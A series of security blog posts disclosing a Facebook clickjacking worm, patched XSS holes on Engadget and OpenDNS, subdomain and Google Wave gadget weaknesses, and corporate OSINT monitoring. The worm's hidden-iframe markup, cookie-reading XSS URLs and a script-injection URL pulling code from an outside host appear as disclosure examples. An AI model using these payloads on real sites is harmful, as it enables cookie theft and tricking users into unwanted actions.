Facebook Worm Uses Clickjacking in the Wild

Reports have been spreading today of a new Facebook worm that posts a link to the infection page on people’s profiles. The infection page itself includes a button that users are told to click, with the promise of seeing “something hot” or dominating FarmVille. Nick FitzGerald at AVG posted a walkthrough of the worm (warning: slightly NSFW image), and when explaining how the worm operated, gave an explanation similar to that of other articles I saw:

A sequence of iframes on the exploit page call a sequence of other pages and scripts, eventually resulting in a form submission to Facebook “as if” the victim had submitted a URL for a wall post and clicked on the “Share” button to confirm the post.

With all due respect to FitzGerald and others, I was suspicious. First, I know from experience what sort of CSRF protections Facebook has put in place. Second, if this were truly just CSRF, why not execute the attack on loading the page instead of requiring a second click?

I do know of one relative of CSRF attacks (some classify it as simply CSRF, but I do see a distinction) that requires another click, and that’s clickjacking. I decided to check out an infection page to see exactly what was going on.

Sure enough, both the “hot” and “dominate FarmVille” pages load in invisible iframe, which calls for another local page, which in turn loads another invisible iframe. The actual source of the second local page looks like this (URI edited):

<html><head></head><body><div style=”overflow: hidden; width: 56px; height: 24px; position: relative;” id=”div”>
<iframe name=”iframe” src=”http://EVILURI/index.php?n=632″ style=”border: 0pt none ; left: -985px; top: -393px; position: absolute; width: 1618px; height: 978px;” scrolling=”no”></iframe></div></body></html>

The address that the iframe loads simply redirects to a Facebook share page with the infection page specified as the share link. Note that the style attribute on the iframe includes negative values for “left” and “top” – this ensures that when the page loads, the “Share” button for the Facebook page is at the top-left corner of the iframe, and thus positioned right underneath the button users think they are clicking.

It’s perhaps worth noting that the possibility of such a worm has been pointed out before, including on this blog:

All of the following actions can be mistakenly performed by a user simply clicking a link or button on an innocent-looking page via clickjacking:

Post a link to your profile. This is possible by applying clickjacking to several Facebook pages used for sharing content. A custom title and description can be set for the link. Other content, such as a Flash video, can also be posted this way.

I also encouraged Facebook in my Month of Facebook Bugs Report to take clickjacking seriously. The behavior of this worm is only the beginning – as I’ve pointed out for months, a similar attack could authorize a Facebook application (malicious or hijacked) and steal user information while spreading links even more virally. This new worm may be one of the first examples of clickjacking used in the wild, but it certainly won’t be the last.

Facebook Instapaper Twitter Digg FriendFeed Delicious Google Bookmarks Yahoo Bookmarks Share/Bookmark

XSS in Engadget’s New Site

I’m noticing a trend of sites patching the more obvious cross-site scripting vectors, such as search fields, but ignoring parameters in secondary pages, such as Ajax interfaces. Several applications in the Month of Facebook Bugs had pages for making Ajax calls or loading advertisements that were never meant to be loaded directly, yet doing so opened the door to XSS attacks. Keep in mind that any page on a given domain can access that domain’s cookies.

Yet another case in point came to my attention this week. I noticed that the technology news site Engadget had launched a redesign, and I began poking around the new site. After a little while, I came across four XSS vulnerabilities, all on the main www.engadget.com domain. I promptly reported the holes and they were silently patched in less than a day or two. Since they’ve all been fixed, I’ll list the example URIs I sent here for the record:

  • http://www.engadget.com/?a=ajax-comment-vote&commentid=%3Cscript%3Ealert(document.cookie)%3C/script%3E
  • http://www.engadget.com/?a=ajax-comment-show-replies&commentid=%3Cscript%3Ealert(document.cookie)%3C/script%3E
  • http://www.engadget.com/?a=ajax-comment-report&commentid=%3Cscript%3Ealert(document.cookie)%3C/script%3E
  • http://www.engadget.com/mm_track/Engadget/media/?title=%3Cscript%3Ealert(document.cookie)%3C/script%3E

Previously, each one of these pages loaded the inserted script, which brings up an alert dialog containing the user’s cookies for Engadget. Kudos to the team behind Engadget for the quick fixes, and hopefully this will serve as another reminder to all developers to leave no page unchecked when evaluating security issues.

Facebook Instapaper Twitter Digg FriendFeed Delicious Google Bookmarks Yahoo Bookmarks Share/Bookmark

Real-Life Examples of Cross-Subdomain Issues

About two weeks ago, security researcher Mike Bailey posted a paper on cookie attacks via subdomains (hat tip: Jeremiah Grossman). I’ve seen several stories since then dealing with various subdomain security issues. In fact, the day after Bailey’s write-up, Yvo Schaap described several cases where Facebook and MySpace inadvertently exposed data through trust policies on particular subdomains.

I bring up subdomains to highlight two important considerations for developers. First, never ignore code hosted on subdomains. Your primary site may be secure, but vulnerabilities on one of your subdomains could still open you up to attacks. Second, make sure you understand how browsers handle subdomains. While generally subdomains are generally treated as separate from their parent domain, remember that changing document.domain can allow code to move up the DNS chain.

While Schaap illustrated the first point already, I can add one more example. A few weeks ago, I poked around a few OpenDNS pages, and noticed an oversight similar to some of the FAXX hacks I’d seen in September: an AJAX interface called directly rendered a good bit of HTML. While mostly filtered, I did come across one parameter that could be used to render injected code. The vulnerable page was hosted on guide.opendns.com, a subdomain used for presenting search results: http://guide.opendns.com/ajax_serp.php?q=&oq=><script src%3Dhttp://theharmonyguy.com/opendns.js></script>

OpenDNS patched this hole quickly after I disclosed it to them, and I doubt it would have had much serious impact. Any important cookies appear to be attached to www.opendns.com, which would not be accessible, and trying to change network properties would require accessing OpenDNS pages on HTTPS (and thus blocked by the browser).

I came across a striking example of my second point while reading about a new Twitter widget. A ReadWriteWeb reader commented that users of NetVibes, a custom home page service, could make use of the widgets by inserting them into an HTML widget available on NetVibes. I knew that the Twitter widgets required JavaScript, so I started testing NetVibes widgets in much the same way I looked at Google Wave gadgets.

Sure enough, NetVibes allowed JavaScript and iframes to be inserted into their widgets, though they again render in container iframes. More troublesome, though, is that these container iframes do not load in an entirely separate domain – they load in a subdomain of netvibes.com. Within minutes, I changed document.domain to netvibes.com and loaded the cookies associated with that domain. Thankfully my login cookies appear to only be tied to www.netvibes.com, and trying to load pages using URIs that don’t include “www” get forwarded to www.netvibes.com pages. Still, as much as I’ve criticized Google Wave’s gadget implementation, at least Google used a domain entirely separate from google.com for their gadgets. Finally, I would note that I could add potentially malicious NetVibes widgets to publicly accessible NetVibes pages, leading to persistent XSS issues.

As Bailey pointed out in his paper, “DNS was never intended to be a security feature.” Even with protections such as same-origin policies, I get a bit leery at times at how thin the walls preventing certain attacks can become. When building secure web applications, remember your subdomains and how they relate to each other.

Facebook Instapaper Twitter Digg FriendFeed Delicious Google Bookmarks Yahoo Bookmarks Share/Bookmark

Social Zombies at OWASP AppSec DC this Week

Continuing the zombie apocalypse from Defcon…Kevin Johnson and I will again be presenting “Social Zombies: Your Friends Want to Eat Your Brains” at this week’s OWASP AppSec DC conference.  We will be speaking Thursday, November 12th at 2:10 in room 146c.  We will have some new material and updates from the presentation we gave at Defcon 17 this year including the release of a new version of Robin Wood’s KreiosC2 (beyond Twitter for C&C).  If your going to the conference we hope to see you there!

Share and Enjoy


FacebookTwitterDeliciousDiggStumbleUponAdd to favoritesEmailRSS


Why I Started Hacking Google Wave

After I posted concerns over security in Google Wave, several responses came (including one from Google) emphasizing that Wave was “still in an early preview stage” and many bugs would be fixed before a wider release. I think that clarifying why I would bother discussing bugs in a preview product may raise a few important points about web application security.

First, let me be clear about one point: I would not pretend to know more about application security than the engineers, programmers, and scientists at Google. In addition, I would not want to imply that Google does not care about security or user privacy. I realize that Google takes security issues seriously and has the resources to build highly secure products.

But those realizations are also a source of confusion for me when I observe decisions made about Google Wave. As an outsider, I don’t understand why Wave would include the problems I’ve outlined. What I’ve posted does not involve clever hacks or specific parameters – these problems involve weaknesses in the overall framework of Wave. And such weaknesses relate to well-known issues in application security. In fact, Google has previously addressed deploying third-party code by developing Caja after the launch of OpenSocial.

Returning to the “it’s a preview” argument, though, I would first respond by saying that applications, particularly ones that allow users to embed untrusted third-party code, should include security from the very beginning. Starting with an open model and trying to add restrictions later on is a recipe for disaster.

A larger issue in Wave’s case, though, is that Google has often cast Wave as a reinvention of SMTP e-mail. If you set expectations high, much will be expected of you. If a company with the reputation, resources, and revenue of Google markets a product as a replacement for traditional e-mail, I’m going to evaluate its security even more closely than normal. In my view, the hype that has already built around Wave and the reach it’s already found (Novell is reportedly planning a Wave-based business product in mid-2010) disallow the “preview” excuse.

In addition, if you’re going to reinvent e-mail, don’t forget lessons already learned from traditional e-mail. In a previous post, I outlined four major weaknesses I saw in Google Wave:

  1. Allowing scripts and iframes in gadgets with no limits apart from sandboxing
  2. Lack of control over what content or users can be added to a wave
  3. No simple mechanism for verifying gadget sources or features
  4. Automatically loading gadgets when a wave is viewed

Name one webmail interface that executes scripts in messages. Name one recent e-mail client that automatically loads content such as images in messages. Why were such considerations not part of Wave from the very start?

Of course, while Google has at least promised to include further permissions controls in Wave, such controls are one aspect of Wave intentionally left out in initial releases. While one can argue whether Google is correct in the merits of such collaboration, I’m a bit surprised that more of the security implications have not been raised before (at least not to my knowledge). When such changes will appear, though, remains to be seen. Personally, I find it a tad disconcerting that Google has similarly promised such updates as allowing users to turn off Wave’s real-time typing behavior, yet Wave has changed little since its announcement.

Still, I’m confident that Google will address at least some of the issues I’ve raised. If nothing else, I hope I’ve contributed to the public dialogue about Google Wave. I will add that Wave appears to include much security on the backend – most of the problems I’m seeing come in the client implementation. Let’s remember, though, that Wave will be federated. Another reason to bring up client security issues early is that other clients can learn from Google’s implementation. I’m rather concerned that if Wave interfaces proliferate, they may repeat many of the security problems seen in early e-mail interfaces.

I’m also concerned that Wave is not really addressing many of the issues that have plagued e-mail. The current “chaos” with Wave’s lack of permissions does not bode well for how it will handle spam, for instance. Whitelisting alone won’t do the trick. In fact, I would argue that Wave is a collaboration tool, not a communication tool, and thus not a replacement for e-mail.

In conclusion, I’d simply add one more point. While it’s exciting to find exploits such as specific XSS holes on a web site, it’s often more important to raise awareness regarding larger security issues that relate to the overall framework of an application. That’s why I’ve discussed FAXX hacks so much, as they relate to the overall implementation of the Facebook Platform instead of particular vulnerabilities.

Similarly, my concerns about Google Wave thus far involve behaviors built into the current system that open the door for exploiting the privacy and security of users. Preview or not, Wave needs to address these high-level weaknesses if it’s going to match the hype.

Facebook Instapaper Twitter Digg FriendFeed Delicious Google Bookmarks Yahoo Bookmarks Share/Bookmark

Enterprise Open Source Intelligence Gathering – Part 3 Monitoring and Social Media Policies

monitoringThis is the final article in my series on Enterprise Open Source Intelligence Gathering.  This information relates to the main topics from my presentation that I am giving this week at the 7th Annual Ohio Information Security Summit.  For more background information, see part one.  If you missed part two (blogs, message boards and metadata) you can check that out here.  This last article will be about putting together a simple monitoring program/toolkit and creating a social media policy for your company.

OSINT and Monitoring
After reading this series you are probably asking yourself…what do I do will all of these feeds and information that I have gathered?  Much of the information you have found about your company may be pretty overwhelming and you might find there is a ton of noise to filter through to get to the “good stuff”.  The next sections of this article will hopefully help you organize these feeds so you can begin a basic monitoring program.

What do you want to monitor?
This first thing you want to ask yourself…what do you want to monitor and what is most important?  You probably have noticed that it would be difficult to monitor the entire Internet so focus on what is relevant to your company or business.  Also, you want to pay particular attention to the areas of social media that your business has a presence on.  For example, if your business has a Facebook page, LinkedIn group and Twitter account you should be paying special attention to these first.  Why?  These are the sites that you have most likely allowed certain employees to use this form of media for business purposes.  Lastly, keep in mind that choosing what to monitor should be a group collaborative effort.  Get your marketing and public relations people involved in the decision making process.  As a bonus, it helps with making security everyone’s business.

Free tools to aggregate this information
Lets discuss briefly some tools to aggregate and monitor all the information sources you have decided as important.  There are two tools that I will talk about.  Yahoo! Pipes and RSS readers (specifically Google Reader).

1. Yahoo! Pipes
First, what is Yahoo! Pipes?  The best description is probably found on the Yahoo! Pipes main page:

“Pipes is a powerful composition tool to aggregate, manipulate, and mashup content from around the web.  Like Unix pipes, simple commands can be combined together to create output that meets your needs:

– combine many feeds into one, then sort, filter and translate it.
– geocode your favorite feeds and browse the items on an interactive map.
– grab the output of any Pipes as RSS, JSON, KML, and other formats.

The great thing about pipes is that there are already many different mashups that have already been created!  If you find one that doesn’t do what you like it to…you can simply copy a pipe, modify it and use it as your own.  Creating a pipe is really easy as well.  Yahoo! provides good documentation on their site even with video tutorials if you are lost.  Everything is done in a neat visual “drop-n-drag” GUI environment.  For example, you could take some of the sites that you find a bit more difficult to monitor, configure them in a pipe and send the output to RSS.  Once you have an RSS feed you can plug this into a RSS reader (like Google Reader) for monitoring.  Here are a few of my favorite pipes (pre-built) that can be used for monitoring:

Social Media Firehose
Social Media Monitoring Tool
Aggregate Social Media Feeds by User & Tag
Twitter Sniffer for Brands
Facebook Group RSS Feed, improved version here

2. Google Reader or your favorite RSS reader
The second part of your monitoring toolkit is to put your Yahoo! Pipe RSS feeds and the other feeds you determined as important and put them into the RSS reader of your choice.  I personally like Google Reader because it’s easy to use and manage.  However, you may prefer a desktop client or some other type of reader…all up to you.

What’s easy and works best?
First, assign someone to look at the information you are monitoring.  This should be someone in your information security department and someone with social media skill sets.  Next, create RSS Feeds from identified sites and utilize Yahoo! Pipes to customize and filter out content if you need to.  Finally, plug these feeds into your RSS reader and set up procedures for monitoring.  When will you check these feeds? What happens if the monitoring person is out?  Is there a backup for this person?  These are just a few of the things you need to think about when putting together these procedures.  There may be many more (or less) depending on your business.  Lastly, for sites you can’t monitor automatically determine manual methods and be sure to build procedures around them.

What is the company social media strategy? Do you even have one?
The first thing you need to do before you create policies or standards around what employees can or can’t do on social media/networking sites (related to your business), is to define a social media strategy.  Without a strategy defined it would be nearly impossible to determine a monitoring program without knowing what areas of social media your business is going to participate in.  This is a very important step and is something that your marketing/public relations/HR departments need to determine before security gets involved.

Internet postings or the “social media” policy
What if you have policies for Internet usage already in your company?  If you do, have you checked to see if they include specific things like social networks?  How about commenting on company news or issues on public social networks?  This is an area where many of the “standard” Infosec or HR policies don’t cover or don’t mention procedures about how employees use this new world of social media.  The other important part is that you need to partner with marketing/public relations/HR to collaborate on this policy.  The design and creation needs to have input from all of these areas of the business, especially these groups because they are going to be the main drivers for the use of social media.  Lastly, what is acceptable for employees to post?  Keep in mind that employees have Internet access *everywhere* nowadays.  iPhones, smartphones, Google phones…employees have these and guess what?  They are most likely using them at work.  How do you know that they are not commenting about company confidential business?  With this new generation of devices…the line between personal and company business will continue to blur. Oh, and this is just one simple example!

Examples of good policies to reference
So where do you go from here?  Create the policy!  The last part of this article has examples of good policies that you can reference when creating your own policies.  There is lots of good information in the following links and you can customize these for your own environment and business situation:

Cisco Internet Postings Policy
Intel Social Media Policy
4 Tips for Writing a Good Social Media Policy
10 Steps to Creating a Social Media Policy for your Company

Remember, monitoring the use of social media and creating policies around them is new and potentially uncharted territory for many organizations.  Hopefully with this series (and the related presentation) will help guide you and your organization to make the right decisions on finding information about your company, creating a monitoring program and working with your business partners to create the right policies for your business.

UPDATE: You can download my slide deck now on SlideShare.

Share and Enjoy


FacebookTwitterDeliciousDiggStumbleUponAdd to favoritesEmailRSS


Enterprise Open Source Intelligence Gathering – Part 2 Blogs, Message Boards and Metadata

message_boardThis post is part two of my three part series on Enterprise Open Source Intelligence Gathering.  This information relates to the presentation that I am giving this week at the 7th Annual Ohio Information Security Summit.  For more background information, see part 1.  Part three will be about putting together a simple monitoring program/toolkit and creating a Internet postings (social media) policy for your company.

Part one of the series discussed ways to gather OSINT on social networks and some of the challenges this creates.  Besides gathering OSINT on social networks there are many more sources of information that company information may be posted on.  These include blogs, message boards and document repositories.  One of the byproducts of finding documents is metadata, which I will explain in more detail below.

OSINT and Blogs
Blogs can be searched via any traditional search engine, however, the challenge with blogs are not necessarily the posts themselves but the comments.  When it comes to blog posts the comments are usually where the action is, especially when it comes to your current and former employees (even customers) commenting on highly sensitive pubic relations issues that a company might be conducting damage control over.  The other point to make about commenting is that employees might be posting things that be violating one of your policies and cause brand reputation problems.  Examples of this are all the countless leaks of profits, downsizing, confidential information and more that the news media reports on.  Wouldn’t be great to be monitoring blogs and their comments to find these things out before they go viral?

Listed below are some of the blog and comment search sites that I recommend you add to your monitoring arsenal which I will talk about creating in part three:

Social Mention http://socialmention.com (has *great* comment search and RSS for monitoring)
Google Blog Search http://blogsearch.google.com (great for creating RSS feeds and very customizable)
Blogpulse http://www.blogpulse.com/ (has comment search)
Technorati http://technorati.com/
IceRocket http://www.icerocket.com/
BackType http://www.backtype.com/ (has comment search)
coComment http://www.cocomment.com/ (has comment search)

OSINT and Message Boards
Message boards have always been a great source of OSINT.  Message boards date back before blogs were popular and are still widely used today.  Because there are so many message boards out there that could contain good OSINT you really need to use message board search engines unless you know about specific message boards that you know your employees use (or could).  Good examples of these are job related message boards like vault.com or Yahoo/Google Finance discussion forums or groups centered around stock trading.

Here is my list of message board search engines and a few that might be more specific for a company:

Google Groups http://groups.google.com/ (always a good choice for creating RSS feeds and very customizable)
Yahoo! Groups http://groups.yahoo.com/
Big Boards http://www.big-boards.com/ (huge list!)
BoardReader http://boardreader.com/ (very good search and RSS feeds of results)
Board Tracker http://boardtracker.com/ (very good search and RSS feeds of results)

More specific:
Craigslist Forums http://www.craigslist.org/about/sites (RSS available)
Vault www.vault.com (job/employee discussions)
Google Finance http://www.google.com/finance (search for company stock symbol and check out the discussions)
XSSed http://www.xssed.com/ (XSS security vulnerabilities)
Full Disclosure Mailing List http://seclists.org/fulldisclosure/ (Security vulnerability disclosure)

Document Repositories
Something that I have seen more of recently are sites called document repositories.  These sites either aggregate documents found from various sources on the Internet or people can upload their own documents and presentations for public sharing purposes.  These sites are probably my favorite since you will find all sorts of interesting information!  Here is my list of favorites:

Docstoc http://www.docstoc.com/
*Really good document search engine.  I wish there was better RSS for it but they have an API in which Yahoo! Pipes could probably be used.

Scribd http://www.scribd.com/ (RSS feed of results)
SlideShare http://www.slideshare.net/ (RSS feed of results)
PDF Search Engine http://www.pdf-search-engine.com/
Toodoc http://www.toodoc.com/

Great! You found documents.  Now what?
Once you find interesting documents be sure to check out the document metadata.  What is metadata? Metadata is simply “data about data”.  Metadata in documents is traditionally used for indexing files as well as finding out information about the document creator and what software was used to create the document.  It goes without saying that document metadata is a treasure trove of information that could be used against your company.  For example, vulnerable versions of software that can be used for client side attacks, OS versions, path disclosure, user id’s and more can all be viewed through document metadata.

There are lots of good tools to pull out metadata from documents and pictures. With some of these tools it’s even possible to write a script to automatically strip metadata from documents and pictures (start with the script Larry Pesce wrote in his SANS paper below).  However, the best method for removing metadata in my opinion is to make sure it’s removed (or limited) in the first place!  If you are creating a new document make sure you are removing it or not allowing the application to save some of the more revealing things like user id’s and OS/version numbers.  If you want more detail on metadata and how to use some of the tools that are available check out the great paper over at the SANS InfoSec Reading Room titled “Document Metadata, the Silent Killer created by Larry Pesce.  Here is a short list of tools I use (or have used) to analyze metadata:

EXIFtool http://www.sno.phy.queensu.ca/~phil/exiftool/ (my personal favorite! The swiss army knife of metadata tools)
Metagoofil http://www.edge-security.com/metagoofil.php
Maltego (built-in metadata transform) http://www.paterva.com/web4/index.php/maltego (another favorite!)
Meta-Extractor http://meta-extractor.sourceforge.net/
FOCA http://www.informatica64.com/foca/

What’s the deal with brand reputation?
One last point I want to make is about brand reputation.  You may ask yourself, how does brand reputation relate to information security? Why should we care?  I have found it interesting that many of us in information security have been asked to do more research on brand reputation issues because no one else in the company had those types of skill sets to monitor information.  Brand reputation is vital to an organization, even more so in this economy.  Think of the CIA triad…Confidentiality, Integrity and Availability.  All three have aspects that reflect brand reputation.  All of us in information security need to be thinking of brand reputation in our daily job.

Next up in part three
In part three I will talk about setting up a simple monitoring program with the sites and tools I have mentioned thus far.  This will include how to start using Yahoo! Pipes to aggregate many of the feeds I talked about.  I will also conclude with information on how to create a Internet Postings Policy or now better known as a Social Media Policy for your company and why this is more important then ever.

Share and Enjoy


FacebookTwitterDeliciousDiggStumbleUponAdd to favoritesEmailRSS


Cross-Gadget Security in Google Wave

While examining the behavior of gadgets in Google Wave, I noticed another potential security problem in addition to the ones I’d already listed. Each gadget is loaded in a container iframe with a domain separate from the main page, preventing access to the DOM of the Wave interface itself.

However, I also noticed that the container iframes for all of the gadgets I tested used the same domain. That allows one gadget to access the DOM of another gadget. Pictured below is a test gadget that generates an alert displaying the HTML source of the first gadget in the wave, in this case a Yes/No/Maybe gadget from Google.

A test gadget accessing the DOM of another gadget in Google Wave.

A test gadget accessing the DOM of another gadget in Google Wave.

What’s the danger in this sort of cross-gadget access? Consider that people have already created gadgets for accessing your Facebook and Twitter via gadgets. Granted, most of those gadgets have used iframes which load other sites, and thus cross-domain rules would prevent any data breaches. Also, one Twitter gadget I tried actually loaded using its own container URI instead of the standard Google server. But as developers continue to publish more powerful gadgets, cross-gadget access poses some serious risks for CSRF and data theft.

Facebook Instapaper Twitter Digg FriendFeed Delicious Google Bookmarks Yahoo Bookmarks Share/Bookmark

1 7 8 9 10 11 22